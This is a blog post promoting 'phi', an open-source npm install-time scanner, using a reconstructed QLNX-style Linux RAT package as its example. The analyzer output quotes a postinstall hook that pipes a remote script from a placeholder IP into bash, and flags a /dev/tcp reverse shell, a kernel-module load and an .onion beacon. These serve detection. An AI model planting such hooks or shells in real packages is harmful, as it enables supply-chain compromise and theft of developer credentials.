DEV Community

Cover image for A Linux RAT in your npm install: what phi sees before it runs
Prosper Maxwell
Prosper Maxwell

Posted on

A Linux RAT in your npm install: what phi sees before it runs

Most supply-chain tools scan your dependencies after they're already sitting on
disk. By that point the postinstall hook has run. With a remote-access trojan,
that timing is the whole game. Once the code executes, persistence is set, and
you've gone from preventing an incident to cleaning one up.

QLNX is a sharp example of the class. These are Linux RATs built for developer
machines, and they stop being subtle the moment they land. You get PAM module
injection to backdoor authentication, eBPF loading for kernel-level hiding,
LD_PRELOAD rootkits so every process on the box quietly loads the attacker's
shared object, and a reverse shell calling home to a hidden service. The public
analysis counted 58 separate remote commands across the toolchain. Why go to all
that trouble for a developer box? Because that's where the npm tokens, AWS keys,
and CI/CD credentials live.

Trend Micro never confirmed how QLNX actually reaches a host, but npm is one
clean way to deliver this kind of payload. You publish a believable native
package, something like acme-native-fetch ("fast native HTTP bindings with TLS
session caching"), tuck the loader into a postinstall hook, and wait. The second
someone runs npm install, the hook fires with that user's privileges, pulls
stage two, and gets to work. No exploit required. The install is the exploit.

What phi does differently

phi sits in front of npm and reads the tarball before anything gets written to
node_modules. The detail that matters for RATs is that lifecycle scripts are
off by default. The postinstall hook never gets a turn, because phi has already
read it, scored it, and refused the install.

Here's the analyzer running against a faithful reconstruction of a QLNX-style
package. It's a regression fixture, since the real thing isn't something you want
anywhere near your disk.

acme-native-fetch@2.4.1  files=2  score=100  verdict=BLOCKED
  - [HIGH] Network Exfiltration — http://example-c2.onion
  - [CRITICAL] Reverse Shell — /dev/tcp/
  - [CRITICAL] Linux System Tampering — finit_module(
  - [CRITICAL] Install Script Abuse — postinstall: curl -s http://203.0.113.10/stage2.sh | bash

  BLOCKED — refusing to write acme-native-fetch@2.4.1 to node_modules.
Enter fullscreen mode Exit fullscreen mode

Four of phi's 13 detectors fire here, and each one catches a different link in
the chain:

  • Install Script Abuse spots the postinstall hook piping a remote script straight into a shell. That's the delivery mechanism itself.
  • Linux System Tampering flags the kernel-module load (finit_module) and the write to /etc/ld.so.preload. You basically never see these in a legitimate Node package, and once you add the install-script and C2 signals on top, false positives on this class are rare.
  • Reverse Shell catches the /dev/tcp/ redirect that opens the channel back to the operator.
  • Network Exfiltration matches the .onion beacon the implant uses to register itself.

Every one of those is CRITICAL or HIGH. phi's scorer adds them up, caps the total
at 100, and the block threshold of 60 gets crossed several times over. Final
score 100 out of 100, verdict BLOCKED. The package never lands on disk, and none
of those 58 remote commands ever get to run.

Why "at install time" is the whole point

You could catch all of this at runtime with an EDR agent, a syscall sandbox, or a
container policy. Those are good layers and you should run them. The catch is that
they only kick in once the code is already executing. phi makes the call earlier.
It reads static signals out of the source at install time, before anything runs.
For a RAT whose first move is to dig in and establish persistence, the gap
between "on disk" and "running" is the only window that counts, and that's the
window phi closes.

It won't catch everything. A genuinely novel technique that matches no detector
will slip through until we write one for it, and phi is one layer in a
defense-in-depth setup, not a replacement for runtime controls. But the specific
pattern of a RAT delivered through a postinstall hook is common, it's
devastating, and it's exactly what phi is built to stop.

phi is free and open source. If you install npm packages on a machine that has
anything worth stealing on it, it's worth two minutes of your time:
https://phi.philtechs.org


The terminal output above is phi's real analyzer, scorer, and renderer, run
against a reconstructed QLNX-style fixture. It's the same engine that runs on
every phi install, pointed at a payload built to match the public reporting. The
package name is invented, the IP and onion addresses are non-routable
documentation placeholders, and nothing shown here is a live npm package.

Top comments (0)